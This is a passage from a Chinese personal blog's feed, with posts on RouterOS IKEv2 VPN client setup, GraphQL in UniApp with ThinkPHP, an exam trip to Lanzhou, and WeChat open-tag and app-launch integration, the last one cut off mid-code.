<pre><code># 如果使用 ipv4，则在 ipv4 的防火墙中进行放行
/ipv6/firewall/filter/add chain=input protocol=udp dst-port=500,4500 action=accept in-interface=pppoe-out1
</code></pre>
<h2>配置 iOS IKEv2</h2>
<p>这一步可以对照着什么值得买上这位朋友的帖子来进行安装：<a href="https://post.smzdm.com/p/av7zrgg4/">https://post.smzdm.com/p/av7zrgg4/</a></p>
<p>首先将生成证书那一步生成的后缀为<code>crt</code>的<code>CA证书</code>和后缀为<code>p12</code>的<code>iOS证书</code>和传输到<code>iPhone</code>上，保存到<code>文件App</code>内之后先点击<code>CA证书</code>进行安装，安装完成后打开设置会提示已下载描述文件，点进去正常安装即可。</p>
<p>接下来对<code>iOS</code>证书进行一样的操作，不同的是<code>iOS</code>证书如果设置了密码会要求输入证书密码才能进行安装。</p>
<p>安装完进入系统设置中添加<code>VPN</code>，<code>类型</code>选择<code>IKEv2</code>，<code>描述</code>自己填即可，<code>服务器</code>指向 RouterOS 路由器的域名，<code>远程 ID</code>填写填写生成服务端证书时填写的域名，一般和服务器的域名是一样的，<code>本地 ID</code>填写生成 iOS 证书时填写的域名。</p>
<p>用户鉴定选择无，勾选上使用证书，证书选择刚才安装的<code>iOS 证书</code>即可；填写完毕并保存后，就可以进行正常连接啦。</p>
<p>连接之后在<code>WinBox</code>的<code>IP/IPSec/Active Peers</code>中可以看到当前已连接的客户端。</p>
<p>这里说句题外话，iOS 填写 IKEv2 的页面有 BUG，填写完成进行二次修改并进行保存之后会出现修改无效的情况，我在这里卡了很久才发现修改没有生效；建议不要修改 IKEv2 相关配置，直接删除新建更好。</p>
<h2>配置 Windows IKEv2</h2>
<p>参考这位 Youtuber 的视频: <a href="https://youtu.be/zrvoPvaX26c?si=BQ08Bnatj9SankbX&amp;t=428">https://youtu.be/zrvoPvaX26c?si=BQ08Bnatj9SankbX&amp;t=428</a></p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2024-11-23T22:13:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[在UNIAPP中使用GraphQL]]></title>
        <id>https://vhvy.me/2023/07/01/%E5%9C%A8UNIAPP%E4%B8%AD%E4%BD%BF%E7%94%A8GraphQL/</id>
        <link href="https://vhvy.me/2023/07/01/%E5%9C%A8UNIAPP%E4%B8%AD%E4%BD%BF%E7%94%A8GraphQL/"/>
        <updated>2023-07-01T20:52:00.000Z</updated>
        <summary type="html"><![CDATA[最近接到一个需求，需要在UNIAPP编写的微信小程序中使用GraphQL，一番折腾算是跑通了，写个帖子记录一下。项目中的UNIAPP中使用的...]]></summary>
        <content type="html"><![CDATA[<p>最近接到一个需求，需要在UNIAPP编写的微信小程序中使用GraphQL，一番折腾算是跑通了，写个帖子记录一下。</p>
<h2>安装依赖</h2>
<p>项目中的<code>UNIAPP</code>中使用的是<code>Vue2</code>，搜索了一下有个名为 <code>Vue Apollo</code> 的库可以使用，按照文档的教程，首先安装依赖包。</p>
<pre><code>npm install --save vue-apollo graphql apollo-boost
</code></pre>
<p>然后创建<code>Apollo Provider</code>和<code>Apollo Client</code>，然后安装插件到<code>Vue</code>。</p>
<pre><code>import Vue from 'vue';
import VueApollo from 'vue-apollo';
import ApolloClient from 'apollo-boost';

Vue.use(VueApollo);

const apolloClient = new ApolloClient({
  uri: 'https://test.tt/api/graphql'
});

const apolloProvider = new VueApollo({
  defaultClient: apolloClient,
});


const app = new Vue({
  ...App,
  apolloProvider
});

app.$mount();
</code></pre>
<h2>Fetch</h2>
<p>启动项目后控制台报错提示找不到<code>fetch</code>，这是因为小程序环境中没有<code>fetch</code>。<code>ApolloClient</code>提供了自定<code>fetch</code>的选项，文档见此： https://www.apollographql.com/docs/react/networking/advanced-http-networking/#custom-fetching</p>
<p>修改之前创建<code>Apollo Client</code>的代码：</p>
<pre><code>
const createResponse = (data) =&gt; {
    return {
        async text() {
            return JSON.stringify(data);
        }
    }
}

const apolloClient = new ApolloClient({
    uri: 'https://test.tt/api/graphql'
    fetch(url, { body, headers, method }) {

        const finalHeaders = {
            ...headers
        };

        return uni.request({
            url,
            data: body,
            header: finalHeaders,
            method,
            timeout: 10000,
        }).then(res =&gt; {
            return createResponse(res.data);
        }).catch(err =&gt; {
            return createResponse({
                errors: [
                    {
                        message: err.message || "网络错误"
                    }
                ]
            });
        });
    },
    onError(error) {
        // 全局错误提示
        const { response, networkError } = error;
        const Tips = (title) =&gt; uni.showToast({ title, icon: "none"});
        if (response &amp;&amp; response.errors &amp;&amp; response.errors.length) {
            Tips(response.errors[0].message);
        } else if (networkError &amp;&amp; networkError.result &amp;&amp; networkError.result.msg) {
            Tips(networkError.result.msg);
        } else if (networkError &amp;&amp; networkError.message) {
            Tips(networkError.message);
        } else {
            Tips("网络错误");
        }
    },
});
</code></pre>
<p><code>ApolloClient</code>会调用<code>fetch</code>返回的<code>Response</code>上面的<code>text</code>方法，而小程序中不存在<code>Response</code>，所以上面写了<code>createResponse</code>方法来模拟<code>Response</code>。</p>
<h2>配置loader</h2>
<p>在实际开发时会将<code>GraphQL</code>查询文件按照模块写在<code>.gql</code>文件中，方便复用和管理。使用<code>.gql</code>文件需要配置<code>webpack</code>相关<code>loader</code>，以便能正确加载<code>.gql</code>文件。</p>
<p>Google 随便搜了一下就有配置，修改项目根目录的<code>vue.config.js</code>文件，加入以下配置：</p>
<pre><code>module.exports = {
    chainWebpack: (config) =&gt; {
        config.module
            .rule('graphql')
            .test(/\.(graphql|gql)$/)
            .use("graphql-tag/loader")
            .loader("graphql-tag/loader")
            .end();
    }
}
</code></pre>
<p>启动项目后提示找不到<code>graphql-tag/loader</code>，但是之前装好的<code>apollo-boost</code>包已经依赖了此包，我猜测是<code>UNIAPP</code>发现<code>package.json</code>中没有显式依赖<code>graphql-tag/loader</code>，所以报了这个错。</p>
<p>可以安装<code>graphql-tag/loader</code>来避免这个错误，也可以手动引入<code>graphql-tag/loader</code>，像这样：</p>
<pre><code>const path = require("path");

const gqlLoader = path.resolve(__dirname, "node_modules/graphql-tag/loader.js");

module.exports = {
    chainWebpack: (config) =&gt; {
        config.module
            .rule('graphql')
            .test(/\.(graphql|gql)$/)
            .use(gqlLoader)
            .loader(gqlLoader)
            .end();
    }
}
</code></pre>
<h2>配置 apolloProvider</h2>
<p>上面的<code>loader</code>配置好之后，理论上就可以正常使用<code>GrahpQL</code>了。像这样：</p>
<pre><code>// product.gql
query productList($page: Int!, $limit: Int!) {
    productList(page: $page, limit: $limit) {
        list {
            id
            title
            cover
        }
        total
    }
}
</code></pre>
<pre><code>import productQL from "./product.gql";

export default {
    apollo: {
        productList: {
            query: productQL.productList
            variables() {
                return {
                    ...this.form
                };
            }
        }
    },
    data() {
        return {
            productList: {
                list: [],
                total: 0
            },
            form: {
                page: 1,
                limit: 15
            }
        };
    }
}
</code></pre>
<p>理论上进入此页面后就会自动执行请求，然后现实很骨感，并没有发出任何请求。</p>
<p>经过查阅<code>vue-apollo</code>的<a href="https://github.com/vuejs/apollo/blob/v3/packages/vue-apollo/src/mixin.js">源码</a>，每个用到<code>vue-apollo</code>的页面都会依赖<code>this.$apolloProvider</code>属性，这个属性是从自身的<code>$options.apolloProvider</code>或者父组件的<code>$apolloProvider</code>中获取来的。</p>
<p>在<code>UNIAPP</code>中只有<code>App.vue</code>这个页面拥有<code>$options.apolloProvider</code>属性，而其他页面并不是<code>App.vue</code>的子组件；要想正常使用<code>graphql</code>，需要在用到<code>graphql</code>的页面手动注入<code>apolloProvider</code>属性。</p>
<p>我的做法是将<code>apolloProvider</code>属性挂载到全局的<code>globalData</code>上，然后手动注入属性，见如下代码：</p>
<p>在<code>App.vue</code>中加入如下全局配置：</p>
<pre><code>export default {
  globalData: {
    apolloProvider: null
  },
    onLaunch() {
    this.globalData.apolloProvider = this.$options.apolloProvider;
  }
}
</code></pre>
<p>在用到<code>graphql</code>的页面中加入如下配置：</p>
<pre><code>export default {
    apolloProvider() {
    return getApp().globalData.apolloProvider;
  }
}
</code></pre>
<p>这样一来就可以正常使用<code>graphql</code>了。</p>
<p>PS：如果类似<code>$apollo.queries.ping.loading</code>这样的加载状态不生效，可以使用<code>$apolloData.queries.ping.loading</code>来代替。</p>
<h2>配合ThinkPHP使用</h2>
<p>本次开发后端使用了<code>TP6</code>，也简单记录一下吧。</p>
<p>首先安装<code>graphql-php</code>包，然后新建一个控制器，前端的路径指向这个控制器和对应的方法。</p>
<pre><code>
use app\utils\GraphUtil;
use GraphQL\GraphQL;

class GraphQLController extends Controller
{
    protected $isLogin = false;

    protected $userInfo = [];

    protected $uid = 0;

    protected $schema;

    protected function initialize()
    {
        $data = $this-&gt;request-&gt;postMore([
            ['operationName', ''],
            ['query', ''],
        ]);

        try {
            // 可以在这里进行鉴权

            // ...

            $this-&gt;isLogin = true;
            $this-&gt;uid = 114514;
            $this-&gt;userInfo = [
                'nickname' =&gt; '田所浩二'
            ];

        } catch (\Throwable $e) {
            // ...balalala
        }

        $typesConfig = config('graph.types.api');

        $this-&gt;schema = GraphUtil::getSchema($typesConfig);


        // 根据查询和变更名称检查是否有权限访问
        if (!$this-&gt;isLogin) {
            $noAuthQuery = GraphUtil::getNoAuthQuery($typesConfig);

            $noAuthQueryMap = array_reduce($noAuthQuery, function ($res, $query) {
                $res[$query] = 1;
                return $res;
            }, []);

            try {
                $currentQuery = GraphUtil::parseQuery($query);
                foreach ($currentQuery as $query) {
                    if (!isset($noAuthQueryMap[$query])) {
                        // ...balalala 没有权限，禁止访问~~~
                    }
                }
            } catch (\Throwable $e) {
            }
        }
    }

    public function index()
    {
        $data = $this-&gt;request-&gt;postMore([
            ['query', ''],
            ['variables', []]
        ]);
        // `variables`参数是前端传递上来的参数，`query`是前端传递上来的`graphql`查询。


        $rootData = [
            'uid' =&gt; $this-&gt;uid,
            'userInfo' =&gt; $this-&gt;userInfo,
            'isLogin' =&gt; $this-&gt;isLogin
        ];

        // `rootData`可以自定义，用来传递鉴权后的用户信息。

        $typesConfig = config('graph.types.api');

        $result = GraphQL::executeQuery($this-&gt;schema, $data['query'], $rootData, null, $data['variables']);

        $output = $result-&gt;toArray();

        return json()-&gt;data($output)-&gt;code(200);
    }
}
</code></pre>
<pre><code>&lt;?php
// config\graph.php

return [
    'types' =&gt; [
        'api' =&gt; [
            'query' =&gt; [
                app\api\graphql\common\CommonQuery::class
            ],
            'mutation' =&gt; [
                app\api\graphql\common\CommonMutation::class,
            ]
        ]
    ]
];
</code></pre>
<p>上面这个配置文件记录了所有的<code>graphql</code>查询和变更文件。</p>
<pre><code>&lt;?php

namespace app\utils;

use GraphQL\Type\Definition\ObjectType;
use GraphQL\Type\Schema;
use GraphQL\Language\AST\NodeKind;
use GraphQL\Language\Parser;
use GraphQL\Language\Visitor;
use ReflectionClass;

class GraphUtil
{
    // 获取所有的Graphql相关文件并组装为Schema
    public static function getSchema($config)
    {
        $queryTypesConfig = $config['query'];
        $mutationTypesConfig = $config['mutation'];

        $queryTypes = [];
        $mutationTypes = [];

        foreach ($queryTypesConfig as $types) {
            $queryTypes = array_merge($queryTypes, $types::getTypes());
        }

        foreach ($mutationTypesConfig as $types) {
            $mutationTypes = array_merge($mutationTypes, $types::getTypes());
        }

        $schema = new Schema([
            'query' =&gt; new ObjectType([
                'name' =&gt; 'Query',
                'fields' =&gt; $queryTypes
            ]),
            'mutation' =&gt; new ObjectType([
                'name' =&gt; 'Mutation',
                'fields' =&gt; $mutationTypes
            ])
        ]);

        return $schema;
    }

    // 获取所有不需要鉴权的查询和变更
    public static function getNoAuthQuery($config)
    {
        $queryTypesConfig = $config['query'];
        $mutationTypesConfig = $config['mutation'];

        $noQueryResult = [];

        $propertyName = "NOT_AUTH";

        foreach ($queryTypesConfig as $types) {
            $class = new ReflectionClass($types);

            if ($class-&gt;hasConstant($propertyName) &amp;&amp; is_array($class-&gt;getConstant($propertyName))) {
                $noQueryResult = array_merge($noQueryResult, $class-&gt;getConstant($propertyName));
            }
        }

        foreach ($mutationTypesConfig as $types) {
            $class = new ReflectionClass($types);

            if ($class-&gt;hasConstant($propertyName) &amp;&amp; is_array($class-&gt;getConstant($propertyName))) {
                $noQueryResult = array_merge($noQueryResult, $class-&gt;getConstant($propertyName));
            }
        }
        return $noQueryResult;
    }

    // 从前端传递的查询/变更中获取查询/变更的名称
    public static function parseQuery($query)
    {
        $operations = [];
        Visitor::visit(
            Parser::parse($query),
            [
                NodeKind::OPERATION_DEFINITION =&gt; function ($node) use (&amp;$operations) {
                    $selections = array_map(function ($selection) {
                        return $selection['name']['value'];
                    }, $node-&gt;toArray()['selectionSet']['selections']);

                    foreach ($selections as $selection) {
                        $operations[] = $selection;
                    }

                    return Visitor::stop();
                }
            ]
        );

        return $operations;
    }
}
</code></pre>
<p>以上代码是<code>graphql</code>相关工具类。</p>
<pre><code>&lt;?php
namespace app\api\graphql\common;

use GraphQL\Type\Definition\ObjectType;
use GraphQL\Type\Definition\Type;

class CommonQuery
{

    const NOT_AUTH = [
        "getBalalalal",
    ];

    public static function getTypes()
    {
        return [
            "getBalalalal" =&gt; [
                "type" =&gt; new ObjectType([
                    'name' =&gt; 'getBalalalal',
                    'fields' =&gt; [
                        'list' =&gt; Type::listOf(Type::string())
                    ]
                ]),
                'args' =&gt; [
                    'page' =&gt; Type::int(),
                    'limit' =&gt; Type::int()
                ],
                'resolve' =&gt; function ($rootData, $data) {
                    return self::getBalalalal($rootData, $data);
                }
            ]
        ];
    }

    public static function getBalalalal($rootData, $data)
    {
        if ($rootData['isLogin']) {
            // ...balalalalalala
        }

        $list = [
            "hahahahahahahahahhaahha"
        ];

        return compact("list");
    }
}
</code></pre>
<p>上方代码是graphql执行查询的示例。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2023-07-01T20:52:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[兰州之行]]></title>
        <id>https://vhvy.me/2023/04/07/%E5%85%B0%E5%B7%9E%E4%B9%8B%E8%A1%8C/</id>
        <link href="https://vhvy.me/2023/04/07/%E5%85%B0%E5%B7%9E%E4%B9%8B%E8%A1%8C/"/>
        <updated>2023-04-07T22:43:00.000Z</updated>
        <summary type="html"><![CDATA[长久以来，兰州在我心中是个充满西域浪漫色彩的神秘城市；小时候看过的武侠小说中，大侠们总是会在沙漠中展开决斗或者生死离别，“大漠孤烟直，长河落...]]></summary>
        <content type="html"><![CDATA[<p>长久以来，兰州在我心中是个充满西域浪漫色彩的神秘城市；小时候看过的武侠小说中，大侠们总是会在沙漠中展开决斗或者生死离别，“大漠孤烟直，长河落日圆”便是我对此地的幻想之一。</p>
<h2>伊始</h2>
<p>二月份的某一天，班长突然告知我学业成绩排名前三，应该有专升本的免试名额。后来得知每个班只有前两名有面试机会，而我刚好错过；我看着差之分毫又失之千里的机会，心中沮丧万分。然而不大一会我又得知，前两名都不想参加专升本，于是我又有了面试的名额。</p>
<p><img src="https://s2.loli.net/2023/04/11/orcQw6CDxsK2hnA.png" alt="1" /></p>
<p>此时我本该开始复习(其实是学习)准备考试，然而由于此前害了眼疾，不得不前往西安就诊，途中又回了一次老家；等一圈折腾下来，离考试已经只剩半个月。虽然时间紧迫，但是还是不能放弃。我请了半个月假，准备开始背书。</p>
<p>告知我专升本这件事情的那位朋友之前考上了兰州财经大学，于是我也打算报考此院校。兰财大财贸类专升本免试生专业课考马克思主义政治经济学，我已经提前购买了这本书。花了两天时间整理了15页的资料，硬着头皮开始背。</p>
<p>前面几天还好，每天能背1.5页，早上复习，中午下午背新的章节，晚上再次巩固。到了最后几页时，我实在是背不动了，各种排比句和华丽辞藻，我整个脑瓜子都在嗡嗡地叫。强忍着难受，在考试前三天我终于勉强背完了15页资料。背完的那一刻，我都不敢相信我能背完这如同天书一般的资料，途中无数次想过放弃，还好坚持下来了。</p>
<h2>前往兰州</h2>
<p>好不容易背完了资料，准备前往兰州了。在去高铁站的大巴上，我听到了前面几名学生的闲聊。他们谈论着说今年报考财大的人特别多，都在扎堆报财大，早知道报天水师范了。我心中凉了半截，虽然知道自己绝大概率是气氛组，但是还是很难受。虽然他们后来的闲聊中说根本没怎么背书，但我认为他们大概是在谦虚，毕竟天天上课的人比我这种临时抱佛脚死记硬背的人强多了。</p>
<p>在前往兰州的高铁上，我戴上耳机，播放着河西走廊之梦，看着窗外的风景。出了天水之后，甘肃的真实面貌赫然向我扑来，光秃秃的山坡，充满裂纹的大地，无一不向我展现着千百年来这片大地上所经历的种种。 可能是心中始终揣着考试这件事，我始终无法进入那种玄而又玄的状态。</p>
<p>到了兰州西高铁站，不用出站，直接乘坐地铁一号线前往省气象局站。兰州地铁人很稀少，车次发车间隔也相对较久，可能是人口较少的原因。出地铁时，我发现兰州的地铁非常深，要换乘两三次电梯才能到达地面，有点莫斯科地铁的味道，我想这可能是因为黄河的缘故。</p>
<p><img src="https://s2.loli.net/2023/04/11/ou5kvbFmdGXWng8.png" alt="2" /></p>
<p>出了地铁站，到达地面，心中突然莫名奇妙来了一句：到达世界最高城 ~ 省气象局站（bushi🤣</p>
<p><img src="https://s2.loli.net/2023/04/11/rUotzFM4jfZpQBc.png" alt="3" /></p>
<p>兰州财经大学本次专升本考试的考点安排在段家滩校区，我到达学校门口时，工人们正在悬挂考点横幅。</p>
<p><img src="https://s2.loli.net/2023/04/11/6HSbiIMRzcFxYJr.png" alt="4" /></p>
<p>由于在旅途中我不喜欢吃东西，而此时已是下午三点半，我在学校门口随便找了个饭馆点了个面条大快朵颐起来，一般般，这是我在饥肠辘辘的情况下对这家店的评价。</p>
<p>吃完饭，我向之前预定好的宾馆走去；躺在床上，长长吁出一口气，真的是太累了。休息了一会，LPL 的比赛开始了，愉悦地开始看下饭大赛。</p>
<h2>考试</h2>
<p>早上7点半，随着江南皮革厂的经典闹钟，我从睡梦中醒了过来；洗漱后下楼买了个包子充当早餐，在房间里呆坐到8点后出发前往考场。为什么不抓紧时间再背一下呢？因为当时的我如同一堆吸满了水的海绵，已经完全背不进去了。</p>
<p>到了学校门口，正准备给门卫大爷出示准考证，大爷挥挥手直接让我进去了。门口已经聚集了一大堆考生，而许多考生还在抓紧时间背着书。过了一会，大家在教学楼门口开始排队，检查过准考证后依次进入考场。</p>
<p>试卷拿到手中之后，我先大概看了一下试卷，基本没有超纲的题目。时间一分一秒的过去，等我答完试卷，抬头一看只剩下10分钟就交卷了。看来是真的太多年没有答题了，以前上初中时，每次都是答完试卷时间还剩下一半多，哪像现在勉强答完试卷。</p>
<p>考完试，我心中的石头终于落了下来，录取无望，已经可以准备去民办学校的考试躺赢了。下楼的路上，听到有几个考生说本次考试简直太简单了，更加坚定了我的想法。由于觉得不会再有机会踏入校门，于是离开学校之前我随便拍了两张充当纪念。</p>
<p><img src="https://s2.loli.net/2023/04/12/4HMc1VIfytjkiQz.png" alt="5" />
<img src="https://s2.loli.net/2023/04/12/djnuNh5c3fGoOLY.png" alt="6" /></p>
<h2>试后</h2>
<p>从来没来过兰州，本该好好游玩一下，可惜我并不知道哪里好玩。但是我对黄河和中山桥向往已久，便乘上地铁往中山桥附近行去。到了中山桥桥头，看到黄河的那一刹那我很是惊讶，“黄”河有些名不副实，兰州段的黄河完全没有想象中那么浑浊，应当是流经黄土高原之后才会成为真正的“黄”河。</p>
<p>看着黄河对面山坡上的寺庙，恍惚之间我突然有种置身于天刀之中的错觉，以后有机会要去山顶看看。</p>
<p><img src="https://s2.loli.net/2023/04/12/vTm1IO7e3SnNF56.png" alt="7" />
<img src="https://s2.loli.net/2023/04/12/OATfScNYxvtwUze.png" alt="8" />
<img src="https://s2.loli.net/2023/04/12/xteOGgh6uMZfpUk.png" alt="9" /></p>
<p>回到家中，起初的两天心中还算平静；然而越是等待越是着急，明知道录取的概率不大，却还是心存侥幸。转眼过了四天，所有的学校都出了成绩，就剩兰财的成绩没有出。坐在电脑前，看一会B站就切到学校官网公告栏刷新一下，直到3月7日晚上八点五十九分，兰财的录取公告终于出现在公告栏。</p>
<p>我怀着忐忑不安的心情颤抖着点开了页面，下载了录取名单PDF缓缓地往下翻去，突然我的名字映入了眼帘。我的心一下子冲到了嗓子眼，我不敢相信这是我的名字，使劲眨了眨眼睛确认了是我的名字，又拿出准考证确认了是我的准考证号，是我没错了。</p>
<p>我激动的无以言表，拿起手机向朋友们分享了我的喜讯；在之后的几个日夜，我每想起我被录取的事情都有一种不真实的感觉。我只是一个初中文化水平的人，初中毕业也已经11年，和那些天天学习的大学生同台竞技，我做梦也想不到我能被录取。</p>
<p>我无比向往的大学生活终于要来了，残缺的一环终将补上，而我人生的两大梦想，至此要全部实现了。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2023-04-07T22:43:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[解决微信内置浏览器使用Vue时开放标签无效的问题]]></title>
        <id>https://vhvy.me/2022/11/17/%E8%A7%A3%E5%86%B3%E5%BE%AE%E4%BF%A1%E5%86%85%E7%BD%AE%E6%B5%8F%E8%A7%88%E5%99%A8%E5%86%85%E4%BD%BF%E7%94%A8Vue%E6%97%B6%E5%BC%80%E6%94%BE%E6%A0%87%E7%AD%BE%E4%B8%8D%E6%98%BE%E7%A4%BA%E7%9A%84%E9%97%AE%E9%A2%98/</id>
        <link href="https://vhvy.me/2022/11/17/%E8%A7%A3%E5%86%B3%E5%BE%AE%E4%BF%A1%E5%86%85%E7%BD%AE%E6%B5%8F%E8%A7%88%E5%99%A8%E5%86%85%E4%BD%BF%E7%94%A8Vue%E6%97%B6%E5%BC%80%E6%94%BE%E6%A0%87%E7%AD%BE%E4%B8%8D%E6%98%BE%E7%A4%BA%E7%9A%84%E9%97%AE%E9%A2%98/"/>
        <updated>2022-11-17T22:16:00.000Z</updated>
        <summary type="html"><![CDATA[最近用 Vue 开发一个公众号网页项目，其中有一个需求是点击按钮跳转到小程序；在开发时发现偶然会出现开放标签不显示的问题，经过几天的探究，终...]]></summary>
        <content type="html"><![CDATA[<p>最近用 Vue 开发一个公众号网页项目，其中有一个需求是点击按钮跳转到小程序；在开发时发现偶然会出现开放标签不显示的问题，经过几天的探究，终于解决了这个问题，写个帖子记录下。</p>
<h3>开放标签不显示</h3>
<p>发现这个问题后仔细排查了一下，发现 Android 上面没有这个问题。而 iOS 上通过 Vue 的路由导航到使用了开放标签的页面时，标签不会显示；只有直接进入此页面或者刷新页面之后开放标签才会生效。</p>
<p>网上搜了一圈，这个问题几年前就有了，微信开放社区一堆相关问题，官方至今没有回应，日常问候一下小龙全家。在我正焦头烂额之际，看到了这个<a href="https://developers.weixin.qq.com/community/develop/doc/000cce2f8303708a14ba5725656800">帖子</a>，一楼的回答完美解决了我的问题。</p>
<p>在生成签名时，我们一般都传递的是<code>location.href.split("#")[0]</code>，而 iOS 微信浏览器上使用单页面应用时，无论如何通过路由导航跳转到其他页面，微信浏览器会一直认为我们的当前页面路径是第一次进入此应用的路径；所以只有在刷新或者直接进入使用了开放标签的页面时，开放标签才会正常生效；这样一来，解决方案就很简单了，Android 正常使用<code>location.href.split("#")[0]</code>，而在 iOS 上将初次进入页面的页面路径保存下来，后续进行签名时使用保存的路径即可。</p>
<pre><code>// path.js

// 保存初次进入的路径，根据不同平台返回不同的路径

const path = location.href.split("#")[0];

const isIos = !!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

export const getCurrentUrl = () =&gt; isIos ? path : location.href.split("#")[0];
</code></pre>
<pre><code>// api.js

// 获取微信签名的接口

import { getCurrentUrl } from "./path.js";

export function getWechatConfig() {
    return http.get("wechat/config", {
        url: getCurrentUrl()
    });
}
</code></pre>
<h3>开放标签样式</h3>
<p>说点题外话，本次项目是使用<code>rem</code>做的页面适配，而开放标签内部样式是和外部隔绝的；好死不死设计图上正好有两个并排的相同样式的按钮，一个按钮是普通标签，另一个按钮是开放标签；为了使两个按钮样式一样，我刚开始使用的办法是将涉及到尺寸之外的样式在开放标签内写死，而涉及到<code>rem</code>尺寸的则将其转为<code>px</code>，再通过拼接字符串的形式补全标签内容，代码如下：</p>
<pre><code>const renderOpenTagWeApp(btnText, username, path) {
    const baseFontSize = Number(document.documentElement.style.fontSize.replace('px', ''));
    // 获取当前根元素的字体大小

    const remToPx = (rem) =&gt; rem * baseFontSize;
    // 将 rem 转为 px

    return `
        &lt;wx-open-launch-weapp username="${username}" path="${path}"&gt; 
            &lt;script type="text/wxtag-template"&gt;
                &lt;style&gt;
                    .btn {
                        ...
                        ...

                        font-size: ${remToPx(0.23)}px;
                        height: ${remToPx(0.47)}px;
                        width: ${remToPx(1.31)}px;
                        border-radius: ${remToPx(0.23)}px;
                    }
                &lt;/style&gt;
                &lt;div class="btn"&gt;${btnText}&lt;/div&gt;
            &lt;/script&gt;
        &lt;/wx-open-launch-weapp&gt;`;
}
</code></pre>
<p>想象很美好，现实很骨感，设计图上的<code>rem</code>尺寸转换成<code>px</code>之后成为了无限小数，在屏幕上就有了肉眼可见的尺寸差距，这可不行；折腾了半天之后终于有了解决办法，既然开放标签内部的样式无法和外部保持完全一致，那就索性让开放标签不展示内容，使用一个普通元素来展示内容，让开放标签的容器标签<code>wx-open-launch-weapp</code>通过绝对定位占满普通元素的内部，开放标签内部则只使用一个空白<code>div</code>标签，这样一来样式可以完美还原设计图，同时开放标签的功能也不会受到影响。</p>
<pre><code>.pos {
    position: relative;
}

.abs {
    position: absolute;
}

.full {
    left: 0;
    top: 0;
    right: 0;
    bottom: 0;
}
</code></pre>
<pre><code>const renderOpenTagWeApp(username, path) {
    const baseFontSize = Number(document.documentElement.style.fontSize.replace('px', ''));

    const remToPx = (rem) =&gt; rem * baseFontSize;

    return `
        &lt;wx-open-launch-weapp class="abs full" username="${username}" path="${path}"&gt; 
            &lt;script type="text/wxtag-template"&gt;
                &lt;style&gt;
                    .btn {
                        height: ${remToPx(0.47)}px;
                        width: ${remToPx(1.31)}px;
                    }
                &lt;/style&gt;
                &lt;div class="btn"&gt;&lt;/div&gt;
            &lt;/script&gt;
        &lt;/wx-open-launch-weapp&gt;`;
}
</code></pre>
<pre><code>&lt;template&gt;
    &lt;div class="pos"&gt;
        跳转小程序

        &lt;div class="abs full" v-html="renderOpenTagWeApp('gh_xxxxxx', 'pages/index/index')"&gt;&lt;/div&gt;
        /* 负责承载开放标签内容的div */

    &lt;/div&gt;

&lt;/template&gt;
</code></pre>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2022-11-17T22:16:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[微信浏览器跳转到UNIAPP打包的App]]></title>
        <id>https://vhvy.me/2022/08/09/%E5%BE%AE%E4%BF%A1%E6%B5%8F%E8%A7%88%E5%99%A8%E8%B7%B3%E8%BD%AC%E5%88%B0UNIAPP%E6%89%93%E5%8C%85%E7%9A%84App/</id>
        <link href="https://vhvy.me/2022/08/09/%E5%BE%AE%E4%BF%A1%E6%B5%8F%E8%A7%88%E5%99%A8%E8%B7%B3%E8%BD%AC%E5%88%B0UNIAPP%E6%89%93%E5%8C%85%E7%9A%84App/"/>
        <updated>2022-08-09T22:50:00.000Z</updated>
        <summary type="html"><![CDATA[前几天有朋友问我怎么从微信浏览器中跳转到UNIAPP打包的APP，我也有点好奇；折腾了两天踩了几个小坑后算是成功了，那就顺便记录下，说不定还...]]></summary>
        <content type="html"><![CDATA[<p>前几天有朋友问我怎么从微信浏览器中跳转到UNIAPP打包的APP，我也有点好奇；折腾了两天踩了几个小坑后算是成功了，那就顺便记录下，说不定还能帮到别人。</p>
<h2>准备工作</h2>
<p>首先需要一个公众号(服务号)类型，这个在<a href="https://mp.weixin.qq.com/">微信公众平台</a>进行注册； 其次还需要在<a href="https://open.weixin.qq.com/">微信开放平台</a>注册一个移动应用，公众号和移动应用主体必须是同一家公司。</p>
<p>在公众号管理后台配置JS接口安全域名，设置接口IP白名单，生成AppId和AppSecret。 然后在移动应用管理后台绑定公众号，并绑定对应的移动应用，这里可以看微信的<a href="https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/Wechat_Open_Tag.html#%E8%B7%B3%E8%BD%ACAPP%EF%BC%9Awx-open-launch-app">文档</a>。</p>
<h2>网页代码部分</h2>
<p>这里其实并不复杂，首先在<code>head</code>引入微信的js资源文件：</p>
<pre><code>&lt;script src="https://res.wx.qq.com/open/js/jweixin-1.6.0.js"&gt;&lt;/script&gt;
</code></pre>
<p>html部分核心就是这个<code>wx-open-launch-app</code>标签，里面的<code>text/wxtag-template</code>插槽部分可以自己改写和调整样式。</p>
<pre><code>&lt;wx-open-launch-app id="launch-btn" appid="wx11111111111" extinfo="{}"&gt;
    &lt;script type="text/wxtag-template"&gt;
        &lt;style&gt;
            .btn { 
                width: 253px;
                height:73px;
                border: none;
                border-radius: 10px;
                background: red;
                top: 0;
                right: 0;
                bottom: 0;
                left: 0;

            }
        &lt;/style&gt;
        &lt;button class="btn"&gt;
            前往App查看
        &lt;/button&gt;
    &lt;/script&gt;
&lt;/wx-open-launch-app&gt;
</code></pre>
<p>这里的<code>AppId</code>填写所需跳转的移动应用的AppID，<code>extinfo</code>可以携带参数传递给App，我用的是JSON字符串。</p>
<p>JS部分，边看代码边说吧。</p>
<pre><code>let path = location.href;
const hashIdx = location.href.indexOf('#');
if (hashIdx !== -1) {
    path = location.href.slice(0, hashIdx);
}
path = encodeURIComponent(path);
// 这里就是获取当前网页的完整路径，hash号部分不要
// 路径需要转义，这里视你和后端接口交互的方式而定

fetch(`/api/js_config?url=${path}`)
    .then(res =&gt; res.json())
    .then(res =&gt; {
        // 向后端接口获取配置信息

        wx.config({
            ...res.data,
            debug: false,
            jsApiList: ["scanQRCode"],
